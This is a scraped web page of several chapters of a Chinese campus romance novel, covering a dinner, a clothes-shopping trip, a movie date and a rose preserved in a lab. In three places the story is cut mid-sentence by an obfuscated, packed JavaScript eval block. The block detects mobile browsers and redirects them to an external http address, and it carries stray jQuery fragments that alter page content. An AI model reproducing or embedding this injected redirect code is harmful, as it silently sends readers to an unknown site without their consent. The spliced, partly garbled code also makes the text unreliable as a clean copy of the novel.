宿昀小心地把小狐狸托在掌心,拐进路旁的便利店。 金书玉跟进去,见他拿了两瓶东方树叶,又挑了个透明塑料盒,问她是否需要。 她摇摇头,只拿了一瓶矿泉水。 抱着三瓶水和一个透明塑料盒子,宿昀结了账,把玫瑰花小心地放进盒子里收好。 另外一瓶东方树叶,金书玉还以为他是帮人买的。结果才踏出便利店门口,宿昀直接拧开一瓶,抬手仰头,咕嘟咕嘟几口,一瓶水很快见了底。 金书玉目瞪口呆。 他拧上盖子把空瓶扔了,手里拿着另一瓶,冲她笑:“走吧学姐。” 金书玉好半晌才找回自己的语言:“你平时都这么喝水?” 说话间,宿昀又拧开了新的一瓶,这次倒是只抿了小口:“哪能啊学姐,刚刚是太咸了,0.9%的生理盐水呢,学姐你可真狠心。” “……对不起,我不该把它带出实验室的。”金书玉诚恳道歉。 见她道歉,宿昀立刻顺杆爬:“那学姐打算怎么弥补我?” 这话听着耳熟。 金书玉掀起眼睫看他:“说吧,又想让我干什么。” “请我吃顿饭?”宿昀语气轻描淡写,像是在说一件再正常不过的事。 金书玉斟酌一会儿:“就我们两个?” 宿昀咧开嘴:“人太多学姐请得过来么?” ……也是。 两人并肩往校外走,有一搭没一搭地说着些毫无营养的话,分享着各自没什么波澜的校园生活。 若是换个人整天在金书玉身边说废话,她早就懒得理会了。可宿昀和她说的内容,不知是因着表达绘声绘色还是言辞幽默亦或是其他原因,她却竟然不觉着烦。 也是神奇。 走了一会儿,金书玉忽然想起来:“中场休息的时候,你在底下说了什么?” 宿昀的话音戛然而止。 锐利的视线当即扫了过来,尾音跟着上扬:“你没听见?” 金书玉一脸茫然:“我们隔着那么远,中间全是人我怎么听清?” 盯着她的神情看了半晌,宿昀又重新抬脚,大步往前:“没说什么,就是喊了一下学姐,算是打招呼吧。” 金书玉表情犹疑:“就这样?” 高大的身影面不改色:“就这样。怎么,学姐以为我会说什么吗?” 问题忽然被抛了回来,金书玉怎么能承认自己在纠结,又或者说在期待什么,只能同样含糊过去,垂着眼睫,“没什么。” 宿昀见话题成功转移,略微松了口气,耳尖可疑地微微红了一些。 其实他当时说的是:“学姐,看我看我!” 但这么幼稚的话,他怎么可能直接复述出来呢。 - 两人站在路边,金书玉打开手机地图:“想吃什么?” “都行。”宿昀答得干脆。 金书玉看了他一眼,翻了翻附近的店:“川菜?” “太辣。” “日料?” “生的不吃。” “烤肉?” “太燥。” 金书玉手指顿了一下,抬头看他。 宿昀眨巴着眼,一脸无辜:“怎么了?” “……你怎么这么难伺候。” 眉毛忽地一扬,宿昀理直气壮:“这您就不懂了吧,这叫品位。” 金书玉懒得跟他争,低头继续翻。 翻到一家鲁菜馆,刚要开口,忽然想起来,“你吃葱吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469529|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宿昀表情微妙地变了变:“……不太吃。” “不太吃是吃还是不吃?” “能不吃就不吃。” 怎么说个话跟绕口令一样。 金书玉盯着他看了两秒,把鲁菜馆划掉,换了一家涮肉店:“这个呢?” 宿昀扫了一眼,“可以。” 应这么快,金书玉都不习惯了,“确定?” “确定。” 金书玉收起手机,往涮肉店的方向走。走了两步,忽然停下来,低头在手机上打字。 宿昀站在一旁,微微低头,恰好瞥见发光的屏幕。 “宿昀,经管……不吃葱?” 他小声念出声,疑惑道:“……你记这个干嘛?” 金书玉头都没抬:“改个备注记一下,免得以后点菜麻烦。” 语气稀松平常,像是在说一件再正常不过的事。 宿昀盯着那行字看了两秒,嘴角翘起来,又补了一句:“那学姐可别忘了,抬头的地方给我标个187,那可是我的标准裸身高。” 金书玉手指顿了顿,抬头看他一眼,又低头继续打字:“知道了。” 两人进了涮肉店,宿昀接过菜单,刷刷点了招牌肉卷,又问金书玉有没有忌口。 “没有。” “那吃这个虾滑?这个儿肥牛?” “你点就行。” 宿昀选了几个自己爱吃的,便把菜单递给金书玉。 接过来一看,好家伙,全是肉。 扫了一眼蔬菜区,勾了一个蔬菜拼盘后,金书玉才把菜单递给服务员。 铜锅在两人中央咕嘟咕嘟地冒泡,蒸汽氤氲升腾,在周围的喧闹中,倒是隔出了一片静谧安详的感觉。 菜品很快备齐,宿昀挑了一片肉在锅里抖了抖,忽然开口:“学姐,你对所有人都这样备注吗?” 金书玉筷尖停了一下,又若无其事地从锅里捞起肉卷,“我没那么闲。” 这意思,是单独给他标的? 宿昀嘴角不自觉上扬。 见他一个劲地光往盘子里放肉,金书玉犹豫着开口:“你都不吃菜的么?” “哦,十几年没在南方长住了,没那习惯,吃了又不管饱。” 这下金书玉好奇了,“以前你住南方么?” 宿昀点点头:“应该很小的时候住过一阵吧。不太记得了,那时候家里人忙,没人管我吃什么,现在挑成习惯了。” 金书玉筷尖微顿。她想起自己小时候,父母忙起来,一年到头都是各吃各的。 一个人对着一桌子渐渐变凉的菜,确实没什么意思。 再抬头,看到宿昀低头拨弄着碗里的肉卷,隔着铜锅,那张平日里张扬肆意的脸,此刻笼在水雾里,看不清表情,却意外安静。 金书玉心口微微一缩,手比脑子快,用公筷夹起一大筷子蔬菜,放到宿昀碗里。 在对方诧异抬头的时候,为了掩饰自己行为的突兀和尴尬,语气略有点凶:“挑食不好。” 宿昀看着碗里的蔬菜,表情僵了一瞬。 不爱吃草的宿昀:“……” “怎么了?” “……没什么。” 宿昀低头,默默把盘子里的草清了大半。 抬起头时,正好看见金书玉把腮帮子塞得鼓鼓囊囊。 好可爱。 他盯着看了两秒,低下头,想着靠这个下饭,又试图往嘴里塞了一口菜。 ……还是好难吃。 11. 电影 吃完以后,宿昀起身结账,打算把金书玉拐去看电影。 金书玉:“……我还要回实验室。” 宿昀的脸顿时垮了下来。 语气酸溜溜的,“学姐,实验室里到底有谁在啊,每天都这么努力,也不见导师给你发多少工资呀。” 金书玉:“……” 感觉膝盖中了一剑。 “别说了。我跟你去。晚上早点回去就行。” 出了门,天色已经彻底暗了下来。现在不到八点,这条街还算热闹,除了路灯,周边店家的招牌都亮着各色荧光。 京市的九月底,早晚温差逐渐增大,夜风裹挟着寒意拂过,金书玉无意识地抱了抱手臂。 她今天只穿了T恤和七分裤,都是比较薄的料子,在只有十度左右的气温中,自然觉得有些凉。 宿昀身上还挂着那身单薄的篮球服,大男生火气旺,倒是不觉着冷。 注意到金书玉细微的动作,他伸手拉着金书玉的手腕,往旁边的商场带。 金书玉一愣,手腕上传来细微的温度,她下意识看了一眼。 没等她反应过来,人已经被往前带了几步。 进入电梯,宿昀一路拉着人,熟门熟路地进入四楼的一家装潢简约的服装店。门口的标识她没见过,看样子应该不是什么奢侈大牌。 才踏进去,导购就迎了上来,见到宿昀后,笑得更真切了,“宿先生,小姐,里面请。” 金书玉后知后觉反应过来,宿昀这是带她买衣服来了。 倒也确实需要,她也不扭捏:“给我一件中款偏薄的外套就好,要白色。” 导购点点头,立刻上前来给她量身,然后推来一个衣架,上面挂着十件符合她尺寸的白色外套,长长短短各种款式都有。 “小姐贵姓?这里是符合您尺寸的衣服,若是不满意,还有其他的货源。” 金书玉随意拿起一件套上,觉得肩线版型都很合适,关键是厚度适中。 “免贵姓金。这件怎么卖?” “好的金小姐。这件是时装周刚出的新款,原价六千八百八十八,宿先生是我们店贵宾,折后五千八百八十八,可以给您搭一条本店的丝巾。” 五千八,四舍五入六千块。 再添点都够她一年学费了,就一件外套? 他们怎么不去抢。 金书玉立马脱了下来,还用手拍了拍压根不存在的褶皱。 “那不用了谢谢。” 说完,她立刻退后好几步,离那个衣架远远的,生怕被碰瓷。 又看了一眼坐在一旁的宿昀,他表情自然,仿佛五千八和五块八没什么区别。 导购被她这反应弄得一愣,看向宿昀。 宿昀不知道她在想什么,只以为她不喜欢,站起身:“不喜欢?去其他家看看?” 金书玉忙不迭点头。 宿昀回头,让导购记下金书玉的数据。 金书玉脚步顿了顿,想说什么,又觉得说了也没用,索性闭嘴跟上。 两人一起出了店门。 “我忘了,这里是我妈喜欢过来,还没问过学姐平时喜欢穿什么?”宿昀道。 金书玉想了想,询问道:“可以去优衣库吗?一楼就有。” “优衣库?”宿昀拧着眉,这牌子他听是听过,但没穿过,不知道上身感觉怎么样。 金书玉点点头。 左右就是个保暖工具,宿昀倒也干脆,“行,那走吧。” 进入优衣库的店门,衣服展示已经摆到了门口,连个能落座的地方都没有。来往的人和店员都脚步匆匆,宿昀看了眼环境,还在找可以落脚的地方。 结果找了一圈,这店里面怎么连个坐处都没有。 金书玉来这儿倒像回家了一样,很快挑了一件白色的冲锋式外套套上,在镜子前转了两圈,觉得合身,便打算去结账。 看到在一旁支棱着长腿,身上同样单薄的宿昀,她忽然问了一句,“你要不要也买一件?” 宿昀没穿过这个牌子,刚想拒绝,但看到金书玉手里那件和她身上同款的冲锋衣,到嘴的拒绝又重新咽了回去。 “好。” 挑了个加大的尺码,金书玉犹豫地递给他:“那你试试?” 扬了扬手里的玫瑰盒子和水瓶,宿昀笑眯眯地:“学姐帮我套一下吧,我这手上拿着东西不方便。” 金书玉拧着眉:“我帮你拿……” “学姐~”黏黏糊糊。 金书玉无奈地叹了口气,只好抓着衣领两端,示意宿昀半蹲下身,帮他套上。 本以为囫囵披上就算完成任务,结果展开衣领之后,才发现这人的肩膀比想象中宽好多,她不得不往前凑近一点。 两人距离缩进,近得金书玉能够清楚地看到宿昀脸上细微的绒毛,在顶灯下柔和地微微摆动着,存在感鲜明。 金书玉只能侧过头,尽量不去看他的脸。 没想到这一侧,两人头与头之间的距离,又拉进了半分。 看着距离自己的唇只有半拳不到的脸颊,宿昀心里痛骂自己干嘛给自个儿找事,闭上眼站起身。 金书玉一愣,没来得及退开,两人几乎撞在一起。 她连忙稳住重心,下一秒,怀里便被塞进了一个盒子和一个水瓶。 几秒钟的间隙,宿昀已经将双手伸进袖管里抻直。 不愧是天生的衣架子,普普通通的冲锋衣在他身上,竟也穿出了高定的感觉,修身又挺括。 金书玉眼睛不由亮了亮:“好看!” 从未被金书玉直白夸过的宿昀愣了一下,然后耳朵肉眼可见地红了。 强压住自己不断上翘的嘴角,宿昀一把拉起她的手:“有眼光。不过我穿什么不好看,走走走,给你结账儿去!” “哎我自己来……” 没等金书玉摸出手机,宿昀早已扫码结了账。 不给她半点后悔的机会,宿昀又一次拉起她的手腕:“好啦学姐,再晚一点,电影都散场了!” 金书玉被他拉得往前小跑,又看了一眼拉住自己手腕的手。 这人好像很喜欢拽着她走。 有这么着急吗? 两人穿着同样的外套,男俊女美,从商场里一路走过去,偶尔引得路人回头。 电影院就在二楼,两人出了电梯,宿昀把最后一口东方树叶喝干,又带着金书玉去买奶茶。 金书玉点了个清爽的海盐柠檬茶,宿昀依旧是生椰拿铁。两人抬着饮料,来到电影院前台。 选片的时候,两人都心照不宣地避开了恐怖片,挑来挑去,最终选择了一部看着名字就文艺的爱情片。 宿昀是奔着爱情去的,金书玉奔着文艺去的。 没想到进去开播之后,这电影和文艺与爱情都毫不相干。 一句话总结就是一个大龄出轨男离婚后过得很不如意,打算和前妻重归于好的故事,恶俗的点在于,结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469530|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局是happyending。 简直诈骗。 宿昀看了不到十分钟,消耗了一天的精力终于撑不住了,困倦准时报道,眼皮一个劲地上下打架。 视线模糊中,他试图喝点东西提神。顺手抬起右手边的饮料,在金书玉忽然出声的阻拦中,喝了一大口。 咦?味道不对? 他懵懵地看了一眼瓶身,是柠檬茶。 僵硬地转过头,对上了金书玉无奈的神情。 看着困得迷糊满眼懵的大男生,金书玉没说话,但嘴角弯了一点点。 宿昀连忙滑跪道歉,“那个,学姐……我刚刚困糊涂了,我出去给你买新的!” 金书玉阻止了他起身的动作:“不用,我也不渴。” 于是宿昀又重新坐在了座位上。 五分钟后,他又开始眼皮打架了。 金书玉注意到旁边的情况,看着他脑袋一点一点往下栽的样子,觉得有些好玩,便这么一直看着。 这可比电影有趣多了。 看着看着,宿昀表情陡然变得扭曲,身体猛地往前一弓。 眼睛都还没完全睁开,他龇牙咧嘴地低呼出声:“这按摩椅怎么还带袭击人的?” 反应过来发生了什么后,金书玉终于没忍住,笑出了声。 这笑声将宿昀的注意力吸引了过来。 他似有所感,忽地睁眼,正好对上了金书玉还没来得及逃开的慌乱视线。 惺忪的眼睛亮了一瞬,宿昀盯着她辨认了两秒,低声喃喃:“怎么你在梦里也这么好看。” 然后张大双手,非常干脆、果断地一把抱住了金书玉,在人完全没有反应过来之前,毛绒绒的大脑袋一歪,整个人靠在了金书玉的肩上。 金书玉浑身僵硬,下意识抬手推了推,纹丝不动。 这人跟个大号挂件似的,正牢牢挂在她身上,怎么也不撒手。 宿昀睡相倒是不错,靠上来之后,也没怎么动,就只是单纯的靠着。 金书玉推了几下,肩膀已经开始微微发麻。 她本想抬手将他拍醒,但手才抬起来,在空中悬了两秒,最终又犹豫地放了下去。 算了,就这一次。 宿昀的存在感太过强烈,金书玉只感觉像一个暖烘烘的大烤炉贴了过来。 有点热。 她不太自在地挪动了身子,心虚地看向四周。 结果来看这电影的,基本都是情侣。互相投喂爆米花的,贴得更近的,甚至直接坐腿上的都有,相比起来,他们这已经是最正常的了。 金书玉略微松了口气。肩头的紧绷也慢慢放松了下来。 但电影实在是太过无聊。金书玉看到后半程,眼皮也撑不住,合上了。 脑袋不自觉地一歪,轻轻地靠在了宿昀的头顶。 两人相互依偎着,在电影院漆黑的角落里。 前排是低声的交谈和爆米花与汽水的脆响,后排两人的空间,是一片独属于他们的静谧。 直到电影散场。 众人起身离开,两人都没有醒来的意思。 金书玉是因为连轴转了好几天,睡得沉了些,宿昀是单纯的因为睡眠质量好。 阿姨拿着扫帚一路扫到最后一排。 本来光线就昏暗,她随手往座位底下一戳,像是碰到了什么。 再定睛一看,顿时大叫出声: “啊呀我的妈!诈尸了!这咋有两个人啊!” 12. 标本 金书玉被那声尖叫惊醒,迷迷糊糊地睁开眼,发现自己正靠在宿昀头上。 她僵了一秒,然后飞快地坐直,连连给阿姨道歉:“对不起阿姨,不小心睡过了,我们这就走。” 动静不小,宿昀也感受到了,揉着眼睛起身,脑子还一片混沌的样子,嘴里喃喃:“学姐……” 见他完全没醒过来的模样,金书玉自觉丢人,连忙拉上人,又连连朝阿姨鞠躬说“不好意思”,快步离开了电影院。 到了外面,微凉的夜风一吹,宿昀清醒了。 他伸了个懒腰,动作顿了一下。 刚才好像梦到他抱着软软的学姐睡着了。 ……果然是在做梦。 他侧头看向金书玉,对方正垂着眼,不知道在想什么。 宿昀摸了摸鼻子,没敢问,随口道:“几点了?” 金书玉抿着唇:“十点半。” “十点半啊……等等,十点半了?!”宿昀猛地一回头,看到金书玉满脸的生无可恋。 只能弱弱地试探:“学姐,你还要去……实验室吗?” 还能不去吗?不去明天细胞就死给她看,那她还过不过了。 “去看一眼吧。” “不好意思不好意思,对不起学姐,我……哎呀我怎么就在里面睡着了!”宿昀抬手,轻轻拍着自己的脸颊,认错和道歉态度极为良好。 “不怪你。”金书玉垂着眼,脚尖擦着地面的砖缝:“毕竟我也睡着了。” 宿昀愣了一下。 她也睡着了。所以刚才…… 没敢继续往下想,宿昀转移话题:“那我们走回去还是打车?” “没多少路,走了醒醒神也好。” 宿昀点点头,跟在她身侧,往学校走。 夜风比来的时候更凉了一些,吹得树叶沙沙响。两人并肩走着,谁都没说话。 路灯把影子拉得老长,一高一矮,一会儿分开,一会儿又交叠在一起。 宿昀看得来趣,在红绿灯停下的当口,叫住了身旁的人:“学姐,站那儿别动。” 金书玉诧异回头,“咔擦”一声,一个手机屏幕递到了眼前。 “学姐,这是我们的影子!”宿昀看上去很高兴。 金书玉失笑:“影子有什么好拍的。” 喜滋滋地保存照片,宿昀伸出食指,晃了晃:“影子是没有什么好拍的,但这可是‘我们’的影子!” 夜色浓重风轻扬,宿昀站在灯下树旁,屏幕的光淡淡地反射着下半张脸,朦胧美好得像梦一样。 金书玉表情微动,嘴唇嚅了嚅。 最终还是什么也没说。 绿灯亮起,两只影子又继续往前移动。 宿昀忽地想起什么,他问道:“学姐,下周国庆,你有什么安排吗?” 金书玉没想过:“什么安排?” “就是回家啊,或者出去旅游之类的。” 金书玉:“不回去。” 宿昀笑眯眯地:“这不巧了,我也不打算回去。” 这有什么巧的,学校里大半人都不会回家。金书玉心想。 “那学姐家是哪里的?” “北城。” 宿昀眼神一亮,“学姐家在北城啊,正好我还没去过,有机会一定去看看。” 金书玉淡笑点头,“你呢?” “我现在主要住二环边。学姐有空的话,可以到我家看看。” 住在京市啊,还是二环。 房租单间都逼近八千每月了,更别说他这样的不可能租房住。 金书玉没说话。 眼见这天即将被聊死,宿昀果断转移话题:“那学姐打算在学校里做什么呢?” 金书玉看他一眼:“呆实验室里,收假就要开组会了,导赶着要成果。” “啊?”阳光男大瞬间不嘻嘻:“学姐都不打算出去玩一下?拜托这可是国庆加中秋,九天长假哎。” 出去玩? 出京市的话,少说也要一天往上,她的培养箱等不了这么久。 不出去的话。 升旗、故宫、国博、颐和园、长城、圆明园…… 刚来京市的那年可能还有点兴趣,现在听了都只觉得头大。 她还是不和千里迢迢赶来的外地人争了。 不过,说起这个,金书玉倒是忽然想起来,开学初的时候,高中同学忽然把她拉进了个群,说是有一批同学要来京市,和在这边发展的同学聚一聚。 也不是什么需要保密的事,她索性直说:“有个聚餐。” 宿昀的雷达顿时报警:“聚餐?和谁?” 没得到回应,宿昀侧头去看的时候,正对上了对方探究和打量的目光。 立刻打了个哈哈糊弄过去:“我的意思是,学姐看起来不像是热衷聚餐的人。” 金书玉慢慢收回了视线,语气淡淡:“高中同学。不太熟。” “同学”和“不熟”两个词,直接把宿昀上下起伏的心都按回了原位。 他没再继续纠结,换了别的话题,有一搭没一搭地聊着。 巴拉巴拉巴拉…… 金书玉简直难以想象,怎么有人能话这么多。 但好在她只需要偶尔应上几声,宿昀就会自顾自地往下说,也不耗费什么精力,便也没打断。 校门近在咫尺,金书玉走进去后,径直拐向实验室。 走了几步,见宿昀还在身后跟着,不由停住脚步:“怎么还跟着?不回去睡觉?” 宿昀别开眼,有些不好意思:“刚刚在电影院里睡饱了。我送学姐上去吧。” 电影院。 金书玉想起自己醒来时两人的姿势,脸色有些不自在,只僵硬地扔下两个字:“随你。” 见她没有明确拒绝,宿昀高兴地跟上了。 打开实验室的门,金书玉开了灯,然后走到宿昀跟前,伸手:“给我吧。” 宿昀:“?” 金书玉提醒:“玫瑰花。不是要做成标本么?” 恍然大悟,宿昀把塑料盒子递给了金书玉,语气欠兮兮的:“还以为学姐准备把我丢下,只顾着实验了呢,没想到还记得呀。” 金书玉斜他一眼,宿昀立马安静了。 抬手在嘴唇间拉了一下,老实地退了出去。 金书玉没再理会,按部就班走完消毒程序之后,将实验室门拉上,走到培养箱前,观察细胞,给细胞换液,一系列流程行云流水,有条不紊。 门外宿昀抱着双臂,斜靠在墙边,透过门上嵌着的玻璃,看着里面专注的姑娘。 这是宿昀第一次见到金书玉做实验的样子。 和他想象中的样子差不多。 理性,专注,有条不紊。 有一种就算世界毁灭,也要先把手头实验完成的独特气质。很吸引人。 这样的人,因为过于温和沉静,在环境中乍看很不显眼,可若是视线一旦停留过在她的身上,就很难再移开。 宿昀看了一会儿,估摸着金书玉一时半会儿出不来,缓缓收回了视线。 目光经过消防水管箱的时候,无意间看到半透玻璃上倒映出的自己,宿昀神情停滞了半秒,随后不可置信地凑上前去,双手抓着箱子两端,力道大得几乎将它拽下来。 他头发怎么这样! 什么时候翘起来的! 刚才他就顶着这么个发型和金书玉走了一路?! 宿昀有些抓狂,连忙用手重新收拾梳理,眼神一直专注地落在自己头顶上,完全没有注意到来人。 直到半透玻璃上露出另外一个人脸,附带幽幽追魂似的声音:“同学——” “啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469531|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊啊啊啊啊我去鬼啊!” 宿昀浑身汗毛竖起,忙不迭回头,对上了守楼阿姨核善的视线。 尖叫顿时压回喉咙,宿昀满脸心虚:“阿姨,是你啊。” 上下打量他一会儿,阿姨眼神狐疑:“小伙子,这个点不回宿舍睡觉,鬼鬼祟祟做什么呢?” 宿昀老实交代:“等人。” 阿姨瞥了一眼旁边灯火通明的实验室,只能看到金书玉忙碌的背影,一脸了然:“哦,等女朋友是吧。” 女朋友。 很陌生的词汇。 宿昀没好意思承认,但也没否认,只胡乱点点头,应付过去。 阿姨和他交代了几句走的时候记得关灯,便离开了。 宿昀重新回到门口往里看,金书玉正把调配好的溶液倒进容器,用镊子夹住玫瑰,小心地给它脱水脱色。 看样子还需要点时间。 宿昀干脆靠着墙坐下,把头埋进臂弯里。 一般都是别人等他,很少有他宿昀等人的时候。 但此时此刻,这样的环境下,全身心的、毫无挂碍地等着另一个人,感觉好像,也很不错。 实验溶剂的数量有限,使用和外借都需要申报,金书玉只能减少用量配比,快速染色、定型、快速烘干,一套简化版的流程走完,抬头一看挂钟,已经十一点半了。 推门出来的时候,脚下差点绊到什么。 低头一看,是宿昀蜷在门边,头埋在膝弯里,像是睡着了。 她不禁低呼出声:“你怎么还在这里?” 宿昀从膝弯里抬起头,眉眼依旧带着几分惺忪,努力找回自己的语言系统:“学姐……你弄好啦?” 连忙将他从地上拉起,金书玉匆匆忙忙把人推进旁边的教室坐下,摁开空调。 空调很快呼呼地送来暖风,裹着金书玉的声音一并进入耳郭:“怎么能坐在走廊上睡呢?着凉了怎么办?半夜温度很低的,发烧可难好了……” 絮絮叨叨,话很多很密,和她平时的样子很不一样。 下一秒,带着馨香的外套盖到了自己身上。 身上骤然多出不属于自己的温暖,宿昀盯着她,反应了一会儿:“学姐你是在……关心我吗?” 金书玉手一顿,随即承认:“是。你都陪我到半夜了,我关心一下不是应该的么?” 说完,她匆匆走出去,宿昀怔怔地看着她离开。 没几秒钟,金书玉又匆匆走回来,手在宿昀眼前一摊,是之前的那个塑料盒子。 “你的花。条件有限,只做了简单的脱水干燥,不刻意压损的话,保存一年左右应该不成问题。” 狐狸造型的白玫瑰被固定在里面,脱去了玫瑰原本的颜色,漂成了浅淡的黄,却焕发出另一种生机。 宿昀抬手轻轻推回去,眼里划过一抹笑意。 “玫瑰本就是送给学姐的,哪有要回来的道理。” 金书玉:“……?” 所以她忙活了一晚上,是在给自己做永生花? 抬眼看向宿昀,始作俑者正笑得一脸无辜,身上还披着她的外套。 外套有些小,在宽大的身板上盖着,要掉不掉,有些滑稽。 金书玉忽然乐了。 她也不知道为什么会高兴,明明刚忙活完的是自己。 故意压低语调,做出兴师问罪的姿态,“耍我很好玩?” “没有没有,”以为她真的生气了,宿昀连忙摆手,起身的时候,外套顺势往下掉,被他一把捞住,搭在臂弯。 “哪儿敢呐,我就是想多陪学姐一会儿。” 金书玉笑眯眯地看着他,过了几秒,把那个塑料盒子收回来,塞进自己兜里,抬脚往外走,学着他的语气拿腔拿调。 “那可真是谢谢您纡尊降贵来陪我,走吧,送你回宿舍。” 13. 聚餐 宿昀眼睛一亮:“学姐送我?” “不要算了。”金书玉率先出了门。 “哎哎,别急着走啊。”宿昀追了上去,把衣服披在她身上。 深夜的校园静谧无人,两人并肩走在路沿,鞋面踏在落叶上,发出细微的沙沙响。 宿昀拐着弯打探:“学姐,明天你在哪?” “实验室。” “后天呢?” “实验室。哦,还有晚上要去聚餐。” “在哪?” “三里屯。” 宿昀笑容扩大:“三里屯,离这儿可有二十多公里呢,学姐打算怎么过去。” “地铁……”回答了一半,金书玉抬头看他:“你想说什么?” “我的意思是,我送学姐怎么样?” 金书玉愣了一下,似乎在理解他的话:“怎么送?你有车?” 终于轮到他装一把了,宿昀用力将头点出残影:“对!” 金书玉狐疑地看着他:“车牌是多少?当天限号怎么办?” 完全没想过这事的宿昀:“……” 他挠挠头,忽然眼神一亮,捉着金书玉的衣袖晃啊晃,“我有办法!好啦学姐你就答应吧,让我找点事情做做呗,一直待学校里可无聊了。” 最受不了别人撒娇的金书玉抬手摁住眉心:“……行。” 对话并没有持续很久,很快到了男生宿舍门口,这下宿昀再怎么耍赖也只能含泪告别。 “学姐,我会想你的,好希望你能梦到我。” “……倒也不必。” 第二天,宿昀爬起来,在床头支着脑袋想了想,还是打了个电话出去。 “褚钺,你那悍马过两天借我用用。” 男声笑得爽朗:“怎么,不开你那宝贝的大红色玛莎拉蒂了?” 宿昀嘴一撇:“限号啊哥们,排不上,你那车不是新能源的,赶紧的,明儿找你拿钥匙。” 褚钺笑骂一声德行,最后倒也应下了,“行,你开完赶紧还我啊,过两天我媳妇也过来。” “行行行!哎对了,给我先充好电啊,别开一半挂路上了。”宿昀想起先前借楚桓电动车那一遭,补了一句叮嘱。 褚钺应得爽快,宿昀见事情完成,扔下手机,又倒头睡下了。 接下来的两天,宿昀从褚钺那薅到钥匙,试着给金书玉发过几条消息,得到的回复都十分简短。 “在实验室”。 “忙”。 “嗯”。 虽然精简,但好歹都回了。 宿昀盯着那个“嗯”字看了半天,琢磨出她应该是真忙,便没再继续打扰。 而且收假后就期中了,再怎么样也得临时抱下佛脚,宿昀只好按捺住心思,老老实实在宿舍翻书。 只是翻得不太走心,时不时走神,脑海中不由自主地漾出那天晚上金书玉认真工作的画面。 怎么就能这么好看呢? 另一边,金书玉确实在忙,而且忙得飞起。 之前不知道是谁操作的时候,一个不注意,让培养箱里细胞死了一批,急得她心头火烧火燎。 在实验室里暗无天日地泡了两天,才稍微挽救回一些,但项目进度几乎是告吹了,得重头再来。 等终于抽出空来,已经是九月三十号傍晚。 金书玉看了眼手机,才发现群里在@她。 从一片混乱的记忆里抽出根线索,金书玉才想起来今晚自己还有个聚餐。 一想到待会儿的聚餐,金书玉就发愁。 这都五年了,高中同班三年她都没怎么把人认全,现在间隔这么久,她还对得上人才怪。但既然人家约到,自己还在京市本地,完全不出席也说不过去。 她回到宿舍,钱乐乐昨天已经回家,两人间只剩她一个,顿时感觉空落落的。 随意套上外衣,拿好手机钱包往外走,略过毫无营养的水群消息,只在被人点到的时候,回上一句已经出发。 至于宿昀说送她的事,早已忘到九霄云外。 才刚走出校门,还没打到车,一阵喇叭声忽然响起。 金书玉下意识抬头,中间有外卖电动车闯红灯,轿车被迫逼停,司机破口大骂。 挺常见的现象。 本打算收回视线,目光却不由自主地被路边停着的一辆黑色悍马吸引过去。 车身又宽又大,在夕阳暮色里,车漆泛着冷冽的光,像一头蛰伏的兽。 车窗半敞着,一只手搭在窗沿上,骨节分明,修长的指尖有一搭没一搭地敲着金属车壁。 金书玉认出了那只手。 是宿昀。 忽然想起来宿昀说过要送她,还以为他只是随口一说,没想到他真的来了。 金书玉朝那辆车走过去。 走近了才看清,宿昀靠坐在驾驶座上,单手撑着方向盘微垂着头,侧脸神情寡淡,长长的眼睫盖住眼睑,像是在发呆。 直到金书玉的身影落进他的余光里,宿昀才像突然回过神来,偏头看向她。 淡漠潮水般从脸上悉数退去,短短几秒钟内,他眉梢微挑,唇角扬起笑,又恢复了往日生动的模样。 “学姐。”他笑起来,露出两颗尖尖的虎牙,朝副驾侧了侧头,“这边。” 突然的表情变化让金书玉微微一愣。 他刚刚,有心事? 再重新看向宿昀,神情一扫方才寡淡惫懒的样子,眼里十分明亮,哪还有方才那副姿态。 他笑着道:“上车。” 金书玉依言上了车,报了地址,很想问他方才在想什么,又觉得自己没有立场。 纠结了几秒钟,她只好先表达感谢:“谢谢你特意开车跑一趟。下次请你吃饭。” 宿昀顺杆往上爬:“说好了哦学姐,可不许反悔,现在又欠我一顿饭了。” 金书玉无声笑笑,语气里带着自己都未曾察觉的纵容:“好。” 聚餐地点似乎比较高级。 金书玉下车的地方离门口还有几十米远,就被一路延伸出来的金碧辉煌的装饰晃了眼。 这谁定的位置? 吃一顿A下来得大几千吧? 想想自己微信上的余额,金书玉忽然就有些不想进去了。 “学姐~” 金书玉回头,宿昀正笑着朝她晃了晃手机,下一秒,金书玉口袋里一震,她摸出手机一看,是一串数字。 “这里网络不一定好,一会儿要是吃完了,或者有什么事,随时打给我。我就在这里吃饭。” 说完,宿昀朝她挥挥手,自觉地当一个称职的司机,把车开走了。 金书玉站在原地,一直看着直到车尾巴消失在视线里,这才转过身,朝着门口走去。 